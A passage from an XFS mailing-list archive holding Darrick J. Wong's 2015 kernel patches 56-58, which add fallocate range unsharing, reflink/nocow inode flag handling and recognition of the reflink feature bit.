0x40 + #endif /* _UAPI_FALLOC_H_ */ From darrick.wong@oracle.com Wed Oct 7 00:01:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CA6DD7FB6 for ; Wed, 7 Oct 2015 00:01:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 58326AC006 for ; Tue, 6 Oct 2015 22:01:29 -0700 (PDT) X-ASG-Debug-ID: 1444194086-04bdf020dc0e6f0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id ptFs5WdwUS2P5zqt (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:01:27 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9751Lcp010405 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:01:22 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9751LqE007170 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:01:21 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9751KBU007738; Wed, 7 Oct 2015 05:01:20 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:01:20 -0700 Subject: [PATCH 56/58] xfs: unshare a range of blocks via fallocate From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 56/58] xfs: unshare a range of blocks via fallocate To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:01:17 -0700 Message-ID: <20151007050117.30457.17142.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194086 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Now that we have an fallocate flag to unshare a range of blocks, make XFS actually implement it. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_file.c | 11 ++ fs/xfs/xfs_reflink.c | 321 ++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 3 3 files changed, 334 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index fc5b9ea..5756046 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -905,7 +905,7 @@ buffered: #define XFS_FALLOC_FL_SUPPORTED \ (FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | \ FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE | \ - FALLOC_FL_INSERT_RANGE) + FALLOC_FL_INSERT_RANGE | FALLOC_FL_UNSHARE_RANGE) STATIC long xfs_file_fallocate( @@ -982,6 +982,15 @@ xfs_file_fallocate( goto out_unlock; } do_file_insert = 1; + } else if (mode & FALLOC_FL_UNSHARE_RANGE) { + if (offset + len > i_size_read(inode)) { + error = -EINVAL; + goto out_unlock; + } + + error = xfs_reflink_unshare(ip, file, offset, len); + if (error) + goto out_unlock; } else { flags |= XFS_PREALLOC_SET; diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c index dee3556..92d8345 100644 --- a/fs/xfs/xfs_reflink.c +++ b/fs/xfs/xfs_reflink.c @@ -1571,3 +1571,324 @@ out_error: trace_xfs_reflink_range_error(dest, error, _RET_IP_); return error; } + +/** + * xfs_reflink_dirty_range() -- Dirty all the shared blocks in the file so that + * they're rewritten elsewhere. Similar to generic_perform_write(). + * + * @filp: VFS file pointer + * @pos: offset to start dirtying + * @len: number of bytes to dirty + */ +STATIC int +xfs_reflink_dirty_range( + struct file *filp, + xfs_off_t pos, + xfs_off_t len) +{ + struct address_space *mapping; + const struct address_space_operations *a_ops; + int error; + unsigned int flags; + struct page *page; + struct page *rpage; + unsigned long offset; /* Offset into pagecache page */ + unsigned long bytes; /* Bytes to write to page */ + void *fsdata; + + mapping = filp->f_mapping; + a_ops = mapping->a_ops; + flags = AOP_FLAG_UNINTERRUPTIBLE; + do { + + offset = (pos & (PAGE_CACHE_SIZE - 1)); + bytes = min_t(unsigned long, len, PAGE_CACHE_SIZE) - offset; + rpage = xfs_get_page(file_inode(filp), pos); + if (IS_ERR(rpage)) { + error = PTR_ERR(rpage); + break; + } else if (!rpage) { + error = -ENOMEM; + break; + } + + error = a_ops->write_begin(filp, mapping, pos, bytes, flags, + &page, &fsdata); + page_cache_release(rpage); + if (error < 0) + break; + + trace_xfs_reflink_unshare_page(file_inode(filp), page, + pos, bytes); + + if (!PageUptodate(page)) { + pr_err("%s: STALE? ino=%lu pos=%llu\n", + __func__, filp->f_inode->i_ino, pos); + WARN_ON(1); + } + if (mapping_writably_mapped(mapping)) + flush_dcache_page(page); + + error = a_ops->write_end(filp, mapping, pos, bytes, bytes, + page, fsdata); + if (error < 0) + break; + else if (error == 0) { + error = -EIO; + break; + } else { + bytes = error; + error = 0; + } + + cond_resched(); + + pos += bytes; + len -= bytes; + + balance_dirty_pages_ratelimited(mapping); + if (fatal_signal_pending(current)) { + error = -EINTR; + break; + } + } while (len > 0); + + return error; +} + +/* + * The user wants to preemptively CoW all shared blocks in this file, + * which enables us to turn off the reflink flag. Iterate all + * extents which are not prealloc/delalloc to see which ranges are + * mentioned in the refcount tree, then read those blocks into the + * pagecache, dirty them, fsync them back out, and then we can update + * the inode flag. What happens if we run out of memory? :) + */ +STATIC int +xfs_reflink_dirty_extents( + struct xfs_inode *ip, + struct file *filp, + xfs_fileoff_t fbno, + xfs_filblks_t end, + xfs_off_t isize) +{ + struct xfs_mount *mp = ip->i_mount; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + xfs_extlen_t rlen; + xfs_nlink_t nr; + xfs_off_t fpos; + xfs_off_t flen; + struct xfs_bmbt_irec map[2]; + int nmaps; + int error; + + while (end - fbno > 0) { + nmaps = 1; + /* + * Look for extents in the file. Skip holes, delalloc, or + * unwritten extents; they can't be reflinked. + */ + error = xfs_bmapi_read(ip, fbno, end - fbno, map, &nmaps, 0); + if (error) + goto out; + if (nmaps == 0) + break; + if (map[0].br_startblock == HOLESTARTBLOCK || + map[0].br_startblock == DELAYSTARTBLOCK || + ISUNWRITTEN(&map[0])) + goto next; + + map[1] = map[0]; + while (map[1].br_blockcount) { + agno = XFS_FSB_TO_AGNO(mp, map[1].br_startblock); + agbno = XFS_FSB_TO_AGBNO(mp, map[1].br_startblock); + CHECK_AG_NUMBER(mp, agno); + CHECK_AG_EXTENT(mp, agbno, 1); + + error = xfs_reflink_get_refcount(mp, agno, agbno, + &rlen, &nr); + if (error) + goto out; + XFS_WANT_CORRUPTED_GOTO(mp, rlen != 0, out); + if (rlen > map[1].br_blockcount) + rlen = map[1].br_blockcount; + if (nr < 2) + goto skip_copy; + xfs_iunlock(ip, XFS_ILOCK_EXCL); + fpos = XFS_FSB_TO_B(mp, map[1].br_startoff); + flen = XFS_FSB_TO_B(mp, rlen); + if (fpos + flen > isize) + flen = isize - fpos; + error = xfs_reflink_dirty_range(filp, fpos, flen); + xfs_ilock(ip, XFS_ILOCK_EXCL); + if (error) + goto out; +skip_copy: + map[1].br_blockcount -= rlen; + map[1].br_startoff += rlen; + map[1].br_startblock += rlen; + } + +next: + fbno = map[0].br_startoff + map[0].br_blockcount; + } +out: + return error; +} + +/* Iterate the extents; if there are no reflinked blocks, clear the flag. */ +STATIC int +xfs_reflink_try_clear_inode_flag( + struct xfs_inode *ip, + xfs_off_t old_isize) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + xfs_fileoff_t fbno; + xfs_filblks_t end; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + xfs_extlen_t rlen; + xfs_nlink_t nr; + struct xfs_bmbt_irec map[2]; + int nmaps; + int error = 0; + + xfs_ilock(ip, XFS_ILOCK_EXCL); + + if (old_isize != i_size_read(VFS_I(ip))) + goto out; + if (!(ip->i_d.di_flags2 & XFS_DIFLAG2_REFLINK)) + goto out; + + fbno = 0; + end = XFS_B_TO_FSB(mp, old_isize); + while (end - fbno > 0) { + nmaps = 1; + /* + * Look for extents in the file. Skip holes, delalloc, or + * unwritten extents; they can't be reflinked. + */ + error = xfs_bmapi_read(ip, fbno, end - fbno, map, &nmaps, 0); + if (error) + goto out; + if (nmaps == 0) + break; + if (map[0].br_startblock == HOLESTARTBLOCK || + map[0].br_startblock == DELAYSTARTBLOCK || + ISUNWRITTEN(&map[0])) + goto next; + + map[1] = map[0]; + while (map[1].br_blockcount) { + agno = XFS_FSB_TO_AGNO(mp, map[1].br_startblock); + agbno = XFS_FSB_TO_AGBNO(mp, map[1].br_startblock); + CHECK_AG_NUMBER(mp, agno); + CHECK_AG_EXTENT(mp, agbno, 1); + + error = xfs_reflink_get_refcount(mp, agno, agbno, + &rlen, &nr); + if (error) + goto out; + XFS_WANT_CORRUPTED_GOTO(mp, rlen != 0, out); + if (rlen > map[1].br_blockcount) + rlen = map[1].br_blockcount; + /* Someone else is reflinking */ + if (nr >= 2) { + error = 0; + goto out; + } + + map[1].br_blockcount -= rlen; + map[1].br_startoff += rlen; + map[1].br_startblock += rlen; + } + +next: + fbno = map[0].br_startoff + map[0].br_blockcount; + } + + /* No reflinked blocks, so clear the flag */ + tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_NOT_SIZE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); + if (error) { + xfs_trans_cancel(tp); + goto out; + } + trace_xfs_reflink_unset_inode_flag(ip); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + ip->i_d.di_flags2 &= ~XFS_DIFLAG2_REFLINK; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + error = xfs_trans_commit(tp); + if (error) { + xfs_trans_cancel(tp); + goto out; + } + + return 0; +out: + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/** + * xfs_reflink_unshare() - Pre-COW all shared blocks within a given range + * of a file and turn off the reflink flag if we + * unshare all of the file's blocks. + * @ip: XFS inode + * @filp: VFS file structure + * @offset: Offset to start + * @len: Length to ... + */ +int +xfs_reflink_unshare( + struct xfs_inode *ip, + struct file *filp, + xfs_off_t offset, + xfs_off_t len) +{ + struct xfs_mount *mp = ip->i_mount; + xfs_fileoff_t fbno; + xfs_filblks_t end; + xfs_off_t old_isize, isize; + int error; + + if (!xfs_sb_version_hasreflink(&ip->i_mount->m_sb) || + !xfs_is_reflink_inode(ip)) + return 0; + + trace_xfs_reflink_unshare(ip); + + inode_dio_wait(VFS_I(ip)); + + /* Try to CoW the selected ranges */ + xfs_ilock(ip, XFS_ILOCK_EXCL); + fbno = XFS_B_TO_FSB(mp, offset); + old_isize = isize = i_size_read(VFS_I(ip)); + end = XFS_B_TO_FSB(mp, offset + len); + error = xfs_reflink_dirty_extents(ip, filp, fbno, end, isize); + if (error) + goto out_unlock; + xfs_iunlock(ip, XFS_ILOCK_EXCL); + + /* Wait for the IO to finish */ + error = filemap_write_and_wait(filp->f_mapping); + if (error) + goto out; + + /* Turn off the reflink flag if we unshared the whole file */ + if (offset == 0 && len == isize) { + error = xfs_reflink_try_clear_inode_flag(ip, old_isize); + if (error) + goto out; + } + + return 0; + +out_unlock: + xfs_iunlock(ip, XFS_ILOCK_EXCL); +out: + trace_xfs_reflink_unshare_error(ip, error, _RET_IP_); + return error; +} diff --git a/fs/xfs/xfs_reflink.h b/fs/xfs/xfs_reflink.h index c60a9bd..4ce2cba6 100644 --- a/fs/xfs/xfs_reflink.h +++ b/fs/xfs/xfs_reflink.h @@ -51,4 +51,7 @@ extern int xfs_reflink(struct xfs_inode *src, xfs_off_t srcoff, struct xfs_inode *dest, xfs_off_t destoff, xfs_off_t len, unsigned int flags); +extern int xfs_reflink_unshare(struct xfs_inode *ip, struct file *filp, + xfs_off_t offset, xfs_off_t len); + #endif /* __XFS_REFLINK_H */ From darrick.wong@oracle.com Wed Oct 7 00:01:35 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A1F4529E51 for ; Wed, 7 Oct 2015 00:01:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 14AC5AC00A for ; Tue, 6 Oct 2015 22:01:34 -0700 (PDT) X-ASG-Debug-ID: 1444194093-04cb6c578b0d6e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id MXVyXBBe3QP0Apvb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:01:33 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9751SXt010491 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:01:28 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9751Rv3007604 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:01:27 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9751RfL007759; Wed, 7 Oct 2015 05:01:27 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:01:27 -0700 Subject: [PATCH 57/58] xfs: support XFS_XFLAG_REFLINK (and FS_NOCOW_FL) on reflink filesystems From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 57/58] xfs: support XFS_XFLAG_REFLINK (and FS_NOCOW_FL) on reflink filesystems To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:01:25 -0700 Message-ID: <20151007050125.30457.28287.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194093 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Report the reflink/nocow flags as appropriate in the XFS-specific and "standard" getattr ioctls. Allow the user to clear the reflink flag (or set the nocow flag) if the size is zero. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_fs.h | 1 + fs/xfs/xfs_inode.c | 10 +++++++-- fs/xfs/xfs_ioctl.c | 15 +++++++++++++- fs/xfs/xfs_reflink.c | 51 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 4 ++++ 5 files changed, 77 insertions(+), 4 deletions(-) diff --git a/fs/xfs/libxfs/xfs_fs.h b/fs/xfs/libxfs/xfs_fs.h index c63afd4..0dcffc8 100644 --- a/fs/xfs/libxfs/xfs_fs.h +++ b/fs/xfs/libxfs/xfs_fs.h @@ -67,6 +67,7 @@ struct fsxattr { #define XFS_XFLAG_EXTSZINHERIT 0x00001000 /* inherit inode extent size */ #define XFS_XFLAG_NODEFRAG 0x00002000 /* do not defragment */ #define XFS_XFLAG_FILESTREAM 0x00004000 /* use filestream allocator */ +#define XFS_XFLAG_REFLINK 0x00008000 /* file is reflinked */ #define XFS_XFLAG_HASATTR 0x80000000 /* no DIFLAG for this */ /* diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 61a468b..297151a 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -610,7 +610,8 @@ __xfs_iflock( STATIC uint _xfs_dic2xflags( - __uint16_t di_flags) + __uint16_t di_flags, + __uint64_t di_flags2) { uint flags = 0; @@ -643,6 +644,8 @@ _xfs_dic2xflags( flags |= XFS_XFLAG_NODEFRAG; if (di_flags & XFS_DIFLAG_FILESTREAM) flags |= XFS_XFLAG_FILESTREAM; + if (di_flags2 & XFS_DIFLAG2_REFLINK) + flags |= XFS_XFLAG_REFLINK; } return flags; @@ -654,7 +657,7 @@ xfs_ip2xflags( { xfs_icdinode_t *dic = &ip->i_d; - return _xfs_dic2xflags(dic->di_flags) | + return _xfs_dic2xflags(dic->di_flags, dic->di_flags2) | (XFS_IFORK_Q(ip) ? XFS_XFLAG_HASATTR : 0); } @@ -662,7 +665,8 @@ uint xfs_dic2xflags( xfs_dinode_t *dip) { - return _xfs_dic2xflags(be16_to_cpu(dip->di_flags)) | + return _xfs_dic2xflags(be16_to_cpu(dip->di_flags), + be64_to_cpu(dip->di_flags2)) | (XFS_DFORK_Q(dip) ? XFS_XFLAG_HASATTR : 0); } diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 92aaca0..1dba30b 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -870,6 +870,10 @@ xfs_merge_ioc_xflags( xflags |= XFS_XFLAG_NODUMP; else xflags &= ~XFS_XFLAG_NODUMP; + if (flags & FS_NOCOW_FL) + xflags &= ~XFS_XFLAG_REFLINK; + else + xflags |= XFS_XFLAG_REFLINK; return xflags; } @@ -1181,6 +1185,10 @@ xfs_ioctl_setattr( trace_xfs_ioctl_setattr(ip); + code = xfs_reflink_check_flag_adjust(ip, &fa->fsx_xflags); + if (code) + return code; + code = xfs_ioctl_setattr_check_projid(ip, fa); if (code) return code; @@ -1303,6 +1311,7 @@ xfs_ioc_getxflags( unsigned int flags; flags = xfs_di2lxflags(ip->i_d.di_flags); + xfs_reflink_get_lxflags(ip, &flags); if (copy_to_user(arg, &flags, sizeof(flags))) return -EFAULT; return 0; @@ -1324,11 +1333,15 @@ xfs_ioc_setxflags( if (flags & ~(FS_IMMUTABLE_FL | FS_APPEND_FL | \ FS_NOATIME_FL | FS_NODUMP_FL | \ - FS_SYNC_FL)) + FS_SYNC_FL | FS_NOCOW_FL)) return -EOPNOTSUPP; fa.fsx_xflags = xfs_merge_ioc_xflags(flags, xfs_ip2xflags(ip)); + error = xfs_reflink_check_flag_adjust(ip, &fa.fsx_xflags); + if (error) + return error; + error = mnt_want_write_file(filp); if (error) return error; diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c index 92d8345..99635aa 100644 --- a/fs/xfs/xfs_reflink.c +++ b/fs/xfs/xfs_reflink.c @@ -1892,3 +1892,54 @@ out: trace_xfs_reflink_unshare_error(ip, error, _RET_IP_); return error; } + +/** + * xfs_reflink_get_lxflags() - set reflink-related linux inode flags + * + * @ip: XFS inode + * @flags: Pointer to the user-visible inode flags + */ +void +xfs_reflink_get_lxflags( + struct xfs_inode *ip, /* XFS inode */ + unsigned int *flags) /* user flags */ +{ + /* + * If this is a reflink-capable filesystem and there are no shared + * blocks, then this is a "nocow" file. + */ + if (!xfs_sb_version_hasreflink(&ip->i_mount->m_sb) || + xfs_is_reflink_inode(ip)) + return; + *flags |= FS_NOCOW_FL; +} + +/** + * xfs_reflink_check_flag_adjust() - The only change we allow to the inode + * reflink flag is to clear it when the + * fs supports reflink and the size is zero. + * + * @ip: XFS inode + * @xflags: XFS in-core inode flags + */ +int +xfs_reflink_check_flag_adjust( + struct xfs_inode *ip, + unsigned int *xflags) +{ + unsigned int chg; + + chg = !!(*xflags & XFS_XFLAG_REFLINK) ^ !!xfs_is_reflink_inode(ip); + + if (!chg) + return 0; + if (!xfs_sb_version_hasreflink(&ip->i_mount->m_sb)) + return -EOPNOTSUPP; + if (i_size_read(VFS_I(ip)) != 0) + return -EINVAL; + if (*xflags & XFS_XFLAG_REFLINK) { + *xflags &= ~XFS_XFLAG_REFLINK; + return 0; + } + return 0; +} diff --git a/fs/xfs/xfs_reflink.h b/fs/xfs/xfs_reflink.h index 4ce2cba6..4733bf1 100644 --- a/fs/xfs/xfs_reflink.h +++ b/fs/xfs/xfs_reflink.h @@ -54,4 +54,8 @@ extern int xfs_reflink(struct xfs_inode *src, xfs_off_t srcoff, extern int xfs_reflink_unshare(struct xfs_inode *ip, struct file *filp, xfs_off_t offset, xfs_off_t len); +extern void xfs_reflink_get_lxflags(struct xfs_inode *ip, unsigned int *flags); +extern int xfs_reflink_check_flag_adjust(struct xfs_inode *ip, + unsigned int *xflags); + #endif /* __XFS_REFLINK_H */ From darrick.wong@oracle.com Wed Oct 7 00:01:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3187E29E54 for ; Wed, 7 Oct 2015 00:01:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 05BC9304032 for ; Tue, 6 Oct 2015 22:01:41 -0700 (PDT) X-ASG-Debug-ID: 1444194100-04bdf020dc0e700001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id BqR8BTjhgndnX60T (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:01:40 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9751dX6015495 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:01:39 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9751deo019019 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:01:39 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9751diE023006; Wed, 7 Oct 2015 05:01:39 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:01:39 -0700 Subject: [PATCH 58/58] xfs: recognize the reflink feature bit From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 58/58] xfs: recognize the reflink feature bit To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:01:32 -0700 Message-ID: <20151007050132.30457.17692.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194100 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add the reflink feature flag to the set of recognized feature flags. This enables users to write to reflink filesystems. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_format.h | 3 ++- fs/xfs/libxfs/xfs_sb.c | 9 +++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 98e52ab..e405823 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -451,7 +451,8 @@ xfs_sb_has_compat_feature( #define XFS_SB_FEAT_RO_COMPAT_REFLINK (1 << 2) /* reflinked files */ #define XFS_SB_FEAT_RO_COMPAT_ALL \ (XFS_SB_FEAT_RO_COMPAT_FINOBT | \ - XFS_SB_FEAT_RO_COMPAT_RMAPBT) + XFS_SB_FEAT_RO_COMPAT_RMAPBT | \ + XFS_SB_FEAT_RO_COMPAT_REFLINK) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool xfs_sb_has_ro_compat_feature( diff --git a/fs/xfs/libxfs/xfs_sb.c b/fs/xfs/libxfs/xfs_sb.c index 5bc638f..0607cea 100644 --- a/fs/xfs/libxfs/xfs_sb.c +++ b/fs/xfs/libxfs/xfs_sb.c @@ -220,6 +220,15 @@ xfs_mount_validate_sb( "EXPERIMENTAL reverse mapping btree feature enabled. Use at your own risk!"); } + if (xfs_sb_version_hasreflink(sbp)) { + xfs_alert(mp, +"EXPERIMENTAL reflink feature enabled. Use at your own risk!"); + if (xfs_sb_version_hasrmapbt(sbp)) { + xfs_alert(mp, +"EXPERIMENTAL reverse mapping btree AND reflink? You crazy!"); + } + } + /* * More sanity checking. Most of these were stolen directly from * xfs_repair. From darrick.wong@oracle.com Wed Oct 7 00:05:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 894897FB6 for ; Wed, 7 Oct 2015 00:05:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5D559304039 for ; Tue, 6 Oct 2015 22:05:19 